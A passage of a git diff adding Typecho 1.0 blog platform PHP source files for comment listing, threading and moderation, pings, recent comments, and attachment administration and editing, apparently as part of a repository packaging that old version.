@return boolean + */ + protected function ___isTopLevel() + { + return $this->levels > $this->options->commentsMaxNestingLevels - 2; + } + + /** + * 重载内容获取 + * + * @access protected + * @return void + */ + protected function ___parentContent() + { + return $this->parameter->parentContent; + } + + /** + * 输出文章评论数 + * + * @access public + * @param string $string 评论数格式化数据 + * @return void + */ + public function num() + { + $args = func_get_args(); + if (!$args) { + $args[] = '%d'; + } + + $num = intval($this->_total); + + echo sprintf(isset($args[$num]) ? $args[$num] : array_pop($args), $num); + } + + /** + * 执行函数 + * + * @access public + * @return void + */ + public function execute() + { + if (!$this->parameter->parentId) { + return; + } + + $commentsAuthor = Typecho_Cookie::get('__typecho_remember_author'); + $commentsMail = Typecho_Cookie::get('__typecho_remember_mail'); + $select = $this->select()->where('table.comments.cid = ?', $this->parameter->parentId) + ->where('table.comments.status = ? OR (table.comments.author = ? AND table.comments.mail = ? AND table.comments.status = ?)', 'approved', $commentsAuthor, $commentsMail, 'waiting'); + $threadedSelect = NULL; + + if ($this->options->commentsShowCommentOnly) { + $select->where('table.comments.type = ?', 'comment'); + } + + $select->order('table.comments.coid', 'ASC'); + $this->db->fetchAll($select, array($this, 'push')); + + /** 需要输出的评论列表 */ + $outputComments = array(); + + /** 如果开启评论回复 */ + if ($this->options->commentsThreaded) { + + foreach ($this->stack as $coid => &$comment) { + + /** 取出父节点 */ + $parent = $comment['parent']; + + /** 如果存在父节点 */ + if (0 != $parent && isset($this->stack[$parent])) { + + /** 如果当前节点深度大于最大深度, 则将其挂接在父节点上 */ + if ($comment['levels'] >= $this->options->commentsMaxNestingLevels) { + $comment['levels'] = $this->stack[$parent]['levels']; + $parent = $this->stack[$parent]['parent']; // 上上层节点 + $comment['parent'] = $parent; + } + + /** 计算子节点顺序 */ + $comment['order'] = isset($this->_threadedComments[$parent]) + ? count($this->_threadedComments[$parent]) + 1 : 1; + + /** 如果是子节点 */ + $this->_threadedComments[$parent][$coid] = $comment; + } else { + $outputComments[$coid] = $comment; + } + + } + + $this->stack = $outputComments; + } + + /** 评论排序 */ + if ('DESC' == $this->options->commentsOrder) { + $this->stack = array_reverse($this->stack, true); + $this->_threadedComments = array_map('array_reverse', $this->_threadedComments); + } + + /** 评论总数 */ + $this->_total = count($this->stack); + + /** 对评论进行分页 */ + if ($this->options->commentsPageBreak) { + if ('last' == $this->options->commentsPageDisplay && !$this->parameter->commentPage) { + $this->_currentPage = ceil($this->_total / $this->options->commentsPageSize); + } else { + $this->_currentPage = $this->parameter->commentPage ? $this->parameter->commentPage : 1; + } + + /** 截取评论 */ + $this->stack = array_slice($this->stack, + ($this->_currentPage - 1) * $this->options->commentsPageSize, $this->options->commentsPageSize); + + /** 评论置位 */ + $this->row = current($this->stack); + $this->length = count($this->stack); + } + + reset($this->stack); + } + + /** + * 将每行的值压入堆栈 + * + * @access public + * @param array $value 每行的值 + * @return array + */ + public function push(array $value) + { + $value = $this->filter($value); + + /** 计算深度 */ + if (0 != $value['parent'] && isset($this->stack[$value['parent']]['levels'])) { + $value['levels'] = $this->stack[$value['parent']]['levels'] + 1; + } else { + $value['levels'] = 0; + } + + /** 重载push函数,使用coid作为数组键值,便于索引 */ + $this->stack[$value['coid']] = $value; + $this->length ++; + + return $value; + } + + /** + * 输出分页 + * + * @access public + * @param string $prev 上一页文字 + * @param string $next 下一页文字 + * @param int $splitPage 分割范围 + * @param string $splitWord 分割字符 + * @param string $template 展现配置信息 + * @return void + */ + public function pageNav($prev = '«', $next = '»', $splitPage = 3, $splitWord = '...', $template = '') + { + if ($this->options->commentsPageBreak && $this->_total > $this->options->commentsPageSize) { + $default = array( + 'wrapTag' => 'ol', + 'wrapClass' => 'page-navigator' + ); + + if (is_string($template)) { + parse_str($template, $config); + } else { + $config = $template; + } + + $template = array_merge($default, $config); + + $pageRow = $this->parameter->parentContent; + $pageRow['permalink'] = $pageRow['pathinfo']; + + $query = Typecho_Router::url('comment_page', $pageRow, $this->options->index); + + /** 使用盒状分页 */ + $nav = new Typecho_Widget_Helper_PageNavigator_Box($this->_total, + $this->_currentPage, $this->options->commentsPageSize, $query); + $nav->setPageHolder('commentPage'); + $nav->setAnchor('comments'); + + echo '<' . $template['wrapTag'] . (empty($template['wrapClass']) + ? '' : ' class="' . $template['wrapClass'] . '"') . '>'; + $nav->render($prev, $next, $splitPage, $splitWord, $template); + echo '</' . $template['wrapTag'] . '>'; + } + } + + /** + * 递归输出评论 + * + * @access protected + * @return void + */ + public function threadedComments() + { + $children = $this->children; + if ($children) { + //缓存变量便于还原 + $tmp = $this->row; + $this->sequence ++; + + //在子评论之前输出 + echo $this->_singleCommentOptions->before; + + foreach ($children as $child) { + $this->row = $child; + $this->threadedCommentsCallback(); + $this->row = $tmp; + } + + //在子评论之后输出 + echo $this->_singleCommentOptions->after; + + $this->sequence --; + } + } + + /** + * 列出评论 + * + * @access private + * @param mixed $singleCommentOptions 单个评论自定义选项 + * @return void + */ + public function listComments($singleCommentOptions = NULL) + { + //初始化一些变量 + $this->_singleCommentOptions = Typecho_Config::factory($singleCommentOptions); + $this->_singleCommentOptions->setDefault(array( + 'before' => '<ol class="comment-list">', + 'after' => '</ol>', + 'beforeAuthor' => '', + 'afterAuthor' => '', + 'beforeDate' => '', + 'afterDate' => '', + 'dateFormat' => $this->options->commentDateFormat, + 'replyWord' => _t('回复'), + 'commentStatus' => _t('您的评论正等待审核!'), + 'avatarSize' => 32, + 'defaultAvatar' => NULL + )); + $this->pluginHandle()->trigger($plugged)->listComments($this->_singleCommentOptions, $this); + + if (!$plugged) { + if ($this->have()) { + echo $this->_singleCommentOptions->before; + + while ($this->next()) { + $this->threadedCommentsCallback(); + } + + echo $this->_singleCommentOptions->after; + } + } + } + + /** + * 重载alt函数,以适应多级评论 + * + * @access public + * @return void + */ + public function alt() + { + $args = func_get_args(); + $num = func_num_args(); + + $sequence = $this->levels <= 0 ? $this->sequence : $this->order; + + $split = $sequence % $num; + echo $args[(0 == $split ? $num : $split) -1]; + } + + /** + * 根据深度余数输出 + * + * @access public + * @param string $param 需要输出的值 + * @return void + */ + public function levelsAlt() + { + $args = func_get_args(); + $num = func_num_args(); + $split = $this->levels % $num; + echo $args[(0 == $split ? $num : $split) -1]; + } + + /** + * 评论回复链接 + * + * @access public + * @param string $word 回复链接文字 + * @return void + */ + public function reply($word = '') + { + if ($this->options->commentsThreaded && !$this->isTopLevel && $this->parameter->allowComment) { + $word = empty($word) ? _t('回复') : $word; + $this->pluginHandle()->trigger($plugged)->reply($word, $this); + + if (!$plugged) { + echo '<a href="' . substr($this->permalink, 0, - strlen($this->theId) - 1) . '?replyTo=' . $this->coid . + '#' . $this->parameter->respondId . '" rel="nofollow" onclick="return TypechoComment.reply(\'' . + $this->theId . '\', ' . $this->coid . ');">' . $word . '</a>'; + } + } + } + + /** + * 取消评论回复链接 + * + * @access public + * @param string $word 取消回复链接文字 + * @return void + */ + public function cancelReply($word = '') + { + if ($this->options->commentsThreaded) { + $word = empty($word) ? _t('取消回复') : $word; + $this->pluginHandle()->trigger($plugged)->cancelReply($word, $this); + + if (!$plugged) { + $replyId = $this->request->filter('int')->replyTo; + echo '<a id="cancel-comment-reply-link" href="' . $this->parameter->parentContent['permalink'] . '#' . $this->parameter->respondId . + '" rel="nofollow"' . ($replyId ? '' : ' style="display:none"') . ' onclick="return TypechoComment.cancelReply();">' . $word . '</a>'; + } + } + } +} diff --git a/Typecho/1.0/php-fpm/src/var/Widget/Comments/Edit.php b/Typecho/1.0/php-fpm/src/var/Widget/Comments/Edit.php new file mode 100755 index 000000000..39eeedf4d --- /dev/null +++ b/Typecho/1.0/php-fpm/src/var/Widget/Comments/Edit.php @@ -0,0 +1,372 @@ +<?php +if (!defined('__TYPECHO_ROOT_DIR__')) exit; +/** + * Typecho Blog Platform + * + * @copyright Copyright (c) 2008 Typecho team (http://www.typecho.org) + * @license GNU General Public License 2.0 + * @version $Id$ + */ + +/** + * 评论编辑组件 + * + * @author qining + * @category typecho + * @package Widget + * @copyright Copyright (c) 2008 Typecho team (http://www.typecho.org) + * @license GNU General Public License 2.0 + */ +class Widget_Comments_Edit extends Widget_Abstract_Comments implements Widget_Interface_Do +{ + /** + * 标记评论状态 + * + * @access private + * @param integer $coid 评论主键 + * @param string $status 状态 + * @return boolean + */ + private function mark($coid, $status) + { + $comment = $this->db->fetchRow($this->select() + ->where('coid = ?', $coid)->limit(1), array($this, 'push')); + + if ($comment && $this->commentIsWriteable()) { + /** 增加评论编辑插件接口 */ + $this->pluginHandle()->mark($comment, $this, $status); + + /** 不必更新的情况 */ + if ($status == $comment['status']) { + return false; + } + + /** 更新评论 */ + $this->db->query($this->db->update('table.comments') + ->rows(array('status' => $status))->where('coid = ?', $coid)); + + /** 更新相关内容的评论数 */ + if ('approved' == $comment['status'] && 'approved' != $status) { + $this->db->query($this->db->update('table.contents') + ->expression('commentsNum', 'commentsNum - 1')->where('cid = ? AND commentsNum > 0', $comment['cid'])); + } else if ('approved' != $comment['status'] && 'approved' == $status) { + $this->db->query($this->db->update('table.contents') + ->expression('commentsNum', 'commentsNum + 1')->where('cid = ?', $comment['cid'])); + } + + return true; + } + + return false; + } + + /** + * 标记为待审核 + * + * @access public + * @return void + */ + public function waitingComment() + { + $comments = $this->request->filter('int')->getArray('coid'); + $updateRows = 0; + + foreach ($comments as $comment) { + if ($this->mark($comment, 'waiting')) { + $updateRows ++; + } + } + + /** 设置提示信息 */ + $this->widget('Widget_Notice')->set($updateRows > 0 ? _t('评论已经被标记为待审核') : _t('没有评论被标记为待审核'), + $updateRows > 0 ? 'success' : 'notice'); + + /** 返回原网页 */ + $this->response->goBack(); + } + + /** + * 标记为垃圾 + * + * @access public + * @return void + */ + public function spamComment() + { + $comments = $this->request->filter('int')->getArray('coid'); + $updateRows = 0; + + foreach ($comments as $comment) { + if ($this->mark($comment, 'spam')) { + $updateRows ++; + } + } + + /** 设置提示信息 */ + $this->widget('Widget_Notice')->set($updateRows > 0 ? _t('评论已经被标记为垃圾') : _t('没有评论被标记为垃圾'), + $updateRows > 0 ? 'success' : 'notice'); + + /** 返回原网页 */ + $this->response->goBack(); + } + + /** + * 标记为展现 + * + * @access public + * @return void + */ + public function approvedComment() + { + $comments = $this->request->filter('int')->getArray('coid'); + $updateRows = 0; + + foreach ($comments as $comment) { + if ($this->mark($comment, 'approved')) { + $updateRows ++; + } + } + + /** 设置提示信息 */ + $this->widget('Widget_Notice')->set($updateRows > 0 ? _t('评论已经被通过') : _t('没有评论被通过'), + $updateRows > 0 ? 'success' : 'notice'); + + /** 返回原网页 */ + $this->response->goBack(); + } + + /** + * 删除评论 + * + * @access public + * @return void + */ + public function deleteComment() + { + $comments = $this->request->filter('int')->getArray('coid'); + $deleteRows = 0; + + foreach ($comments as $coid) { + $comment = $this->db->fetchRow($this->select() + ->where('coid = ?', $coid)->limit(1), array($this, 'push')); + + if ($comment && $this->commentIsWriteable()) { + $this->pluginHandle()->delete($comment, $this); + + /** 删除评论 */ + $this->db->query($this->db->delete('table.comments')->where('coid = ?', $coid)); + + /** 更新相关内容的评论数 */ + if ('approved' == $comment['status']) { + $this->db->query($this->db->update('table.contents') + ->expression('commentsNum', 'commentsNum - 1')->where('cid = ?', $comment['cid'])); + } + + $this->pluginHandle()->finishDelete($comment, $this); + + $deleteRows ++; + } + } + + if ($this->request->isAjax()) { + + if ($deleteRows > 0) { + $this->response->throwJson(array( + 'success' => 1, + 'message' => _t('删除评论成功') + )); + } else { + $this->response->throwJson(array( + 'success' => 0, + 'message' => _t('删除评论失败') + )); + } + + } else { + /** 设置提示信息 */ + $this->widget('Widget_Notice')->set($deleteRows > 0 ? _t('评论已经被删除') : _t('没有评论被删除'), + $deleteRows > 0 ? 'success' : 'notice'); + + /** 返回原网页 */ + $this->response->goBack(); + } + } + + /** + * 删除所有垃圾评论 + * + * @access public + * @return string + */ + public function deleteSpamComment() + { + $deleteQuery = $this->db->delete('table.comments')->where('status = ?', 'spam'); + if (!$this->request->__typecho_all_comments || !$this->user->pass('editor', true)) { + $deleteQuery->where('ownerId = ?', $this->user->uid); + } + + if (isset($this->request->cid)) { + $deleteQuery->where('cid = ?', $this->request->cid); + } + + $deleteRows = $this->db->query($deleteQuery); + + /** 设置提示信息 */ + $this->widget('Widget_Notice')->set($deleteRows > 0 ? + _t('所有垃圾评论已经被删除') : _t('没有垃圾评论被删除'), + $deleteRows > 0 ? 'success' : 'notice'); + + /** 返回原网页 */ + $this->response->goBack(); + } + + /** + * 获取可编辑的评论 + * + * @access public + * @return void + */ + public function getComment() + { + $coid = $this->request->filter('int')->coid; + $comment = $this->db->fetchRow($this->select() + ->where('coid = ?', $coid)->limit(1), array($this, 'push')); + + if ($comment && $this->commentIsWriteable()) { + + $this->response->throwJson(array( + 'success' => 1, + 'comment' => $comment + )); + + } else { + + $this->response->throwJson(array( + 'success' => 0, + 'message' => _t('获取评论失败') + )); + + } + } + + /** + * 编辑评论 + * + * @access public + * @return void + */ + public function editComment() + { + $coid = $this->request->filter('int')->coid; + $commentSelect = $this->db->fetchRow($this->select() + ->where('coid = ?', $coid)->limit(1), array($this, 'push')); + + if ($commentSelect && $this->commentIsWriteable()) { + + $comment['text'] = $this->request->text; + $comment['author'] = $this->request->filter('strip_tags', 'trim', 'xss')->author; + $comment['mail'] = $this->request->filter('strip_tags', 'trim', 'xss')->mail; + $comment['url'] = $this->request->filter('url')->url; + + /** 评论插件接口 */ + $this->pluginHandle()->edit($comment, $this); + + /** 更新评论 */ + $this->update($comment, $this->db->sql()->where('coid = ?', $coid)); + + $updatedComment = $this->db->fetchRow($this->select() + ->where('coid = ?', $coid)->limit(1), array($this, 'push')); + $updatedComment['content'] = $this->content; + + /** 评论插件接口 */ + $this->pluginHandle()->finishEdit($this); + + $this->response->throwJson(array( + 'success' => 1, + 'comment' => $updatedComment + )); + } + + $this->response->throwJson(array( + 'success' => 0, + 'message' => _t('修评论失败') + )); + } + + /** + * 回复评论 + * + * @access public + * @return void + */ + public function replyComment() + { + $coid = $this->request->filter('int')->coid; + $commentSelect = $this->db->fetchRow($this->select() + ->where('coid = ?', $coid)->limit(1), array($this, 'push')); + + if ($commentSelect && $this->commentIsWriteable()) { + + $comment = array( + 'cid' => $commentSelect['cid'], + 'created' => $this->options->gmtTime, + 'agent' => $this->request->getAgent(), + 'ip' => $this->request->getIp(), + 'ownerId' => $commentSelect['ownerId'], + 'authorId' => $this->user->uid, + 'type' => 'comment', + 'author' => $this->user->screenName, + 'mail' => $this->user->mail, + 'url' => $this->user->url, + 'parent' => $coid, + 'text' => $this->request->text, + 'status' => 'approved' + ); + + /** 评论插件接口 */ + $this->pluginHandle()->comment($comment, $this); + + /** 回复评论 */ + $commentId = $this->insert($comment); + + $insertComment = $this->db->fetchRow($this->select() + ->where('coid = ?', $commentId)->limit(1), array($this, 'push')); + $insertComment['content'] = $this->content; + + /** 评论完成接口 */ + $this->pluginHandle()->finishComment($this); + + $this->response->throwJson(array( + 'success' => 1, + 'comment' => $insertComment + )); + } + + $this->response->throwJson(array( + 'success' => 0, + 'message' => _t('回复评论失败') + )); + } + + /** + * 初始化函数 + * + * @access public + * @return void + */ + public function action() + { + $this->user->pass('contributor'); + $this->security->protect(); + $this->on($this->request->is('do=waiting'))->waitingComment(); + $this->on($this->request->is('do=spam'))->spamComment(); + $this->on($this->request->is('do=approved'))->approvedComment(); + $this->on($this->request->is('do=delete'))->deleteComment(); + $this->on($this->request->is('do=delete-spam'))->deleteSpamComment(); + $this->on($this->request->is('do=get&coid'))->getComment(); + $this->on($this->request->is('do=edit&coid'))->editComment(); + $this->on($this->request->is('do=reply&coid'))->replyComment(); + + $this->response->redirect($this->options->adminUrl); + } +} diff --git a/Typecho/1.0/php-fpm/src/var/Widget/Comments/Ping.php b/Typecho/1.0/php-fpm/src/var/Widget/Comments/Ping.php new file mode 100755 index 000000000..1dd1c2fe1 --- /dev/null +++ b/Typecho/1.0/php-fpm/src/var/Widget/Comments/Ping.php @@ -0,0 +1,162 @@ +<?php +if (!defined('__TYPECHO_ROOT_DIR__')) exit; +/** + * 回响归档 + * + * @category typecho + * @package Widget + * @copyright Copyright (c) 2008 Typecho team (http://www.typecho.org) + * @license GNU General Public License 2.0 + * @version $Id$ + */ + +/** + * 回响归档组件 + * + * @category typecho + * @package Widget + * @copyright Copyright (c) 2008 Typecho team (http://www.typecho.org) + * @license GNU General Public License 2.0 + */ +class Widget_Comments_Ping extends Widget_Abstract_Comments +{ + /** + * _customSinglePingCallback + * + * @var boolean + * @access private + */ + private $_customSinglePingCallback = false; + + /** + * 构造函数,初始化组件 + * + * @access public + * @param mixed $request request对象 + * @param mixed $response response对象 + * @param mixed $params 参数列表 + * @return void + */ + public function __construct($request, $response, $params = NULL) + { + parent::__construct($request, $response, $params); + $this->parameter->setDefault('parentId=0'); + + /** 初始化回调函数 */ + if (function_exists('singlePing')) { + $this->_customSinglePingCallback = true; + } + } + + /** + * 重载内容获取 + * + * @access protected + * @return void + */ + protected function ___parentContent() + { + return $this->parameter->parentContent; + } + + /** + * 回响回调函数 + * + * @access private + * @param string $singlePingOptions 单个回响自定义选项 + * @return void + */ + private function singlePingCallback($singlePingOptions) + { + if ($this->_customSinglePingCallback) { + return singlePing($this, $singlePingOptions); + } + +?> +<li id="<?php $this->theId(); ?>" class="ping-body"> + <div class="ping-title"> + <cite class="fn"><?php + $singlePingOptions->beforeTitle(); + $this->author(true); + $singlePingOptions->afterTitle(); + ?></cite> + </div> + <div class="ping-meta"> + <a href="<?php $this->permalink(); ?>"><?php $singlePingOptions->beforeDate(); + $this->date($singlePingOptions->dateFormat); + $singlePingOptions->afterDate(); ?></a> + </div> + <?php $this->content(); ?> +</li> +<?php + } + + /** + * 输出文章回响数 + * + * @access public + * @param string $string 评论数格式化数据 + * @return void + */ + public function num() + { + $args = func_get_args(); + if (!$args) { + $args[] = '%d'; + } + + echo sprintf(isset($args[$this->length]) ? $args[$this->length] : array_pop($this->length), $this->length); + } + + /** + * execute + * + * @access public + * @return void + */ + public function execute() + { + if (!$this->parameter->parentId) { + return; + } + + $select = $this->select()->where('table.comments.status = ?', 'approved') + ->where('table.comments.cid = ?', $this->parameter->parentId) + ->where('table.comments.type <> ?', 'comment') + ->order('table.comments.coid', 'ASC'); + + $this->db->fetchAll($select, array($this, 'push')); + } + + /** + * 列出回响 + * + * @access private + * @param mixed $singlePingOptions 单个回响自定义选项 + * @return void + */ + public function listPings($singlePingOptions = NULL) + { + if ($this->have()) { + //初始化一些变量 + $parsedSinglePingOptions = Typecho_Config::factory($singlePingOptions); + $parsedSinglePingOptions->setDefault(array( + 'before' => '<ol class="ping-list">', + 'after' => '</ol>', + 'beforeTitle' => '', + 'afterTitle' => '', + 'beforeDate' => '', + 'afterDate' => '', + 'dateFormat' => $this->options->commentDateFormat + )); + + echo $parsedSinglePingOptions->before; + + while ($this->next()) { + $this->singlePingCallback($parsedSinglePingOptions); + } + + echo $parsedSinglePingOptions->after; + } + } +} diff --git a/Typecho/1.0/php-fpm/src/var/Widget/Comments/Recent.php b/Typecho/1.0/php-fpm/src/var/Widget/Comments/Recent.php new file mode 100755 index 000000000..56ce4ce27 --- /dev/null +++ b/Typecho/1.0/php-fpm/src/var/Widget/Comments/Recent.php @@ -0,0 +1,63 @@ +<?php +if (!defined('__TYPECHO_ROOT_DIR__')) exit; +/** + * Typecho Blog Platform + * + * @copyright Copyright (c) 2008 Typecho team (http://www.typecho.org) + * @license GNU General Public License 2.0 + * @version $Id$ + */ + +/** + * 最近评论组件 + * + * @category typecho + * @package Widget + * @copyright Copyright (c) 2008 Typecho team (http://www.typecho.org) + * @license GNU General Public License 2.0 + */ +class Widget_Comments_Recent extends Widget_Abstract_Comments +{ + /** + * 构造函数,初始化组件 + * + * @access public + * @param mixed $request request对象 + * @param mixed $response response对象 + * @param mixed $params 参数列表 + * @return void + */ + public function __construct($request, $response, $params = NULL) + { + parent::__construct($request, $response, $params); + $this->parameter->setDefault(array('pageSize' => $this->options->commentsListSize, 'parentId' => 0, 'ignoreAuthor' => false)); + } + + /** + * 执行函数 + * + * @access public + * @return void + */ + public function execute() + { + $select = $this->select()->limit($this->parameter->pageSize) + ->where('table.comments.status = ?', 'approved') + ->order('table.comments.coid', Typecho_Db::SORT_DESC); + + if ($this->parameter->parentId) { + $select->where('cid = ?', $this->parameter->parentId); + } + + if ($this->options->commentsShowCommentOnly) { + $select->where('type = ?', 'comment'); + } + + /** 忽略作者评论 */ + if ($this->parameter->ignoreAuthor) { + $select->where('ownerId <> authorId'); + } + + $this->db->fetchAll($select, array($this, 'push')); + } +} diff --git a/Typecho/1.0/php-fpm/src/var/Widget/Contents/Attachment/Admin.php b/Typecho/1.0/php-fpm/src/var/Widget/Contents/Attachment/Admin.php new file mode 100755 index 000000000..e1e57f9b4 --- /dev/null +++ b/Typecho/1.0/php-fpm/src/var/Widget/Contents/Attachment/Admin.php @@ -0,0 +1,125 @@ +<?php +if (!defined('__TYPECHO_ROOT_DIR__')) exit; +/** + * 文件管理列表 + * + * @category typecho + * @package Widget + * @copyright Copyright (c) 2008 Typecho team (http://www.typecho.org) + * @license GNU General Public License 2.0 + * @version $Id$ + */ + +/** + * 文件管理列表组件 + * + * @category typecho + * @package Widget + * @copyright Copyright (c) 2008 Typecho team (http://www.typecho.org) + * @license GNU General Public License 2.0 + */ +class Widget_Contents_Attachment_Admin extends Widget_Abstract_Contents +{ + /** + * 用于计算数值的语句对象 + * + * @access private + * @var Typecho_Db_Query + */ + private $_countSql; + + /** + * 所有文章个数 + * + * @access private + * @var integer + */ + private $_total = false; + + /** + * 分页大小 + * + * @access private + * @var integer + */ + private $pageSize; + + /** + * 当前页 + * + * @access private + * @var integer + */ + private $_currentPage; + + /** + * 所属文章 + * + * @access protected + * @return Typecho_Config + */ + protected function ___parentPost() + { + return new Typecho_Config($this->db->fetchRow( + $this->select()->where('table.contents.cid = ?', $this->parentId) + ->limit(1))); + } + + /** + * 执行函数 + * + * @access public + * @return void + */ + public function execute() + { + $this->parameter->setDefault('pageSize=20'); + $this->_currentPage = $this->request->get('page', 1); + + /** 构建基础查询 */ + $select = $this->select()->where('table.contents.type = ?', 'attachment'); + + /** 如果具有编辑以上权限,可以查看所有文件,反之只能查看自己的文件 */ + if (!$this->user->pass('editor', true)) { + $select->where('table.contents.authorId = ?', $this->user->uid); + } + + /** 过滤标题 */ + if (NULL != ($keywords = $this->request->filter('search')->keywords)) { + $args = array(); + $keywordsList = explode(' ', $keywords); + $args[] = implode(' OR ', array_fill(0, count($keywordsList), 'table.contents.title LIKE ?')); + + foreach ($keywordsList as $keyword) { + $args[] = '%' . $keyword . '%'; + } + + call_user_func_array(array($select, 'where'), $args); + } + + /** 给计算数目对象赋值,克隆对象 */ + $this->_countSql = clone $select; + + /** 提交查询 */ + $select->order('table.contents.created', Typecho_Db::SORT_DESC) + ->page($this->_currentPage, $this->parameter->pageSize); + + $this->db->fetchAll($select, array($this, 'push')); + } + + /** + * 输出分页 + * + * @access public + * @return void + */ + public function pageNav() + { + $query = $this->request->makeUriByRequest('page={page}'); + + /** 使用盒状分页 */ + $nav = new Typecho_Widget_Helper_PageNavigator_Box(false === $this->_total ? $this->_total = $this->size($this->_countSql) : $this->_total, + $this->_currentPage, $this->parameter->pageSize, $query); + $nav->render('«', '»'); + } +} diff --git a/Typecho/1.0/php-fpm/src/var/Widget/Contents/Attachment/Edit.php b/Typecho/1.0/php-fpm/src/var/Widget/Contents/Attachment/Edit.php new file mode 100755 index 000000000..c00197047 --- /dev/null +++ b/Typecho/1.0/php-fpm/src/var/Widget/Contents/Attachment/Edit.php @@ -0,0 +1,330 @@ +<?php +if (!defined('__TYPECHO_ROOT_DIR__')) exit; +/** + * 编辑文章 + * + * @category typecho + * @package Widget + * @copyright Copyright (c) 2008 Typecho team (http://www.typecho.org) + * @license GNU General Public License 2.0 + * @version $Id$ + */ + +/** + * 编辑文章组件 + * + * @author qining + * @category typecho + * @package Widget + * @copyright Copyright (c) 2008 Typecho team (http://www.typecho.org) + * @license GNU General Public License 2.0 + */ +class Widget_Contents_Attachment_Edit extends Widget_Contents_Post_Edit implements Widget_Interface_Do +{ + /** + * 获取页面偏移的URL Query + * + * @access protected + * @param integer $cid 文件id + * @param string $status 状态 + * @return string + */ + protected function getPageOffsetQuery($cid, $status = NULL) + { + return 'page=' . $this->getPageOffset('cid', $cid, 'attachment', $status, + $this->user->pass('editor', true) ? 0 : $this->user->uid); + } + + /** + * 执行函数 + * + * @access public + * @return void + */ + public function execute() + { + /** 必须为贡献者以上权限 */ + $this->user->pass('contributor'); + + /** 获取文章内容 */ + if ((isset($this->request->cid) && 'delete' != $this->request->do + && 'insert' != $this->request->do) || 'update' == $this->request->do) { + $this->db->fetchRow($this->select() + ->where('table.contents.type = ?', 'attachment') + ->where('table.contents.cid = ?', $this->request->filter('int')->cid) + ->limit(1), array($this, 'push')); + + if (!$this->have()) { + throw new Typecho_Widget_Exception(_t('文件不存在'), 404); + } else if ($this->have() && !$this->allow('edit')) { + throw new Typecho_Widget_Exception(_t('没有编辑权限'), 403); + } + } + } + + /** + * 判断文件名转换到缩略名后是否合法 + * + * @access public + * @param string $name 文件名 + * @return boolean + */ + public function nameToSlug($name) + { + if (empty($this->request->slug)) { + $slug = Typecho_Common::slugName($name); + if (empty($slug) || !$this->slugExists($name)) { + return false; + } + } + + return true; + } + + /** + * 判断文件缩略名是否存在 + * + * @access public + * @param string $slug 缩略名 + * @return boolean + */ + public function slugExists($slug) + { + $select = $this->db->select() + ->from('table.contents') + ->where('type = ?', 'attachment') + ->where('slug = ?', Typecho_Common::slugName($slug)) + ->limit(1); + + if ($this->request->cid) { + $select->where('cid <> ?', $this->request->cid); + } + + $attachment = $this->db->fetchRow($select); + return $attachment ? false : true; + } + + /** + * 生成表单 + * + * @access public + * @return Typecho_Widget_Helper_Form_Element + */ + public function form() + { + /** 构建表格 */ + $form = new Typecho_Widget_Helper_Form($this->security->getIndex('/action/contents-attachment-edit'), + Typecho_Widget_Helper_Form::POST_METHOD); + + /** 文件名称 */ + $name = new Typecho_Widget_Helper_Form_Element_Text('name', NULL, $this->title, _t('标题 *')); + $form->addInput($name); + + /** 文件缩略名 */ + $slug = new Typecho_Widget_Helper_Form_Element_Text('slug', NULL, $this->slug, _t('缩略名'), + _t('文件缩略名用于创建友好的链接形式,建议使用字母,数字,下划线和横杠.')); + $form->addInput($slug); + + /** 文件描述 */ + $description = new Typecho_Widget_Helper_Form_Element_Textarea('description', NULL, $this->attachment->description, + _t('描述'), _t('此文字用于描述文件,在有的主题中它会被显示.')); + $form->addInput($description); + + /** 分类动作 */ + $do = new Typecho_Widget_Helper_Form_Element_Hidden('do', NULL, 'update'); + $form->addInput($do); + + /** 分类主键 */ + $cid = new Typecho_Widget_Helper_Form_Element_Hidden('cid', NULL, $this->cid); + $form->addInput($cid); + + /** 提交按钮 */ + $submit = new Typecho_Widget_Helper_Form_Element_Submit(NULL, NULL, _t('提交修改')); + $submit->input->setAttribute('class', 'btn primary'); + $delete = new Typecho_Widget_Helper_Layout('a', array( + 'href' => $this->security->getIndex('/action/contents-attachment-edit?do=delete&cid=' . $this->cid), + 'class' => 'operate-delete', + 'lang' => _t('你确认删除文件 %s 吗?', $this->attachment->name) + )); + $submit->container($delete->html(_t('删除文件'))); + $form->addItem($submit); + + $name->addRule('required', _t('必须填写文件标题')); + $name->addRule(array($this, 'nameToSlug'), _t('文件标题无法被转换为缩略名')); + $slug->addRule(array($this, 'slugExists'), _t('缩略名已经存在')); + + return $form; + } + + /** + * 更新文件 + * + * @access public + * @return void + */ + public function updateAttachment() + { + if ($this->form('update')->validate()) { + $this->response->goBack(); + } + + /** 取出数据 */ + $input = $this->request->from('name', 'slug', 'description'); + $input['slug'] = Typecho_Common::slugName(empty($input['slug']) ? $input['name'] : $input['slug']); + + $attachment['title'] = $input['name']; + $attachment['slug'] = $input['slug']; + + $content = unserialize($this->attachment->__toString()); + $content['description'] = $input['description']; + + $attachment['text'] = serialize($content); + $cid = $this->request->filter('int')->cid; + + /** 更新数据 */ + $updateRows = $this->update($attachment, $this->db->sql()->where('cid = ?', $cid)); + + if ($updateRows > 0) { + + $this->db->fetchRow($this->select() + ->where('table.contents.type = ?', 'attachment') + ->where('table.contents.cid = ?', $cid) + ->limit(1), array($this, 'push')); + + /** 设置高亮 */ + $this->widget('Widget_Notice')->highlight($this->theId); + + /** 提示信息 */ + $this->widget('Widget_Notice')->set('publish' == $this->status ? + _t('文件 <a href="%s">%s</a> 已经被更新', $this->permalink, $this->title) : + _t('未归档文件 %s 已经被更新', $this->title), 'success'); + + } + + /** 转向原页 */ + $this->response->redirect(Typecho_Common::url('manage-medias.php?' . + $this->getPageOffsetQuery($cid, $this->status), $this->options->adminUrl)); + } + + /** + * 删除文章 + * + * @access public + * @return void + */ + public function deleteAttachment() + { + $posts = $this->request->filter('int')->getArray('cid'); + $deleteCount = 0; + + foreach ($posts as $post) { + // 删除插件接口 + $this->pluginHandle()->delete($post, $this); + + $condition = $this->db->sql()->where('cid = ?', $post); + $row = $this->db->fetchRow($this->select() + ->where('table.contents.type = ?', 'attachment') + ->where('table.contents.cid = ?', $post) + ->limit(1), array($this, 'push')); + + if ($this->isWriteable($condition) && $this->delete($condition)) { + /** 删除文件 */ + Widget_Upload::deleteHandle($row); + + /** 删除评论 */ + $this->db->query($this->db->delete('table.comments') + ->where('cid = ?', $post)); + + // 完成删除插件接口 + $this->pluginHandle()->finishDelete($post, $this); + + $deleteCount ++; + } + + unset($condition); + } + + if ($this->request->isAjax()) { + $this->response->throwJson($deleteCount > 0 ? array('code' => 200, 'message' => _t('文件已经被删除')) + : array('code' => 500, 'message' => _t('没有文件被删除'))); + } else 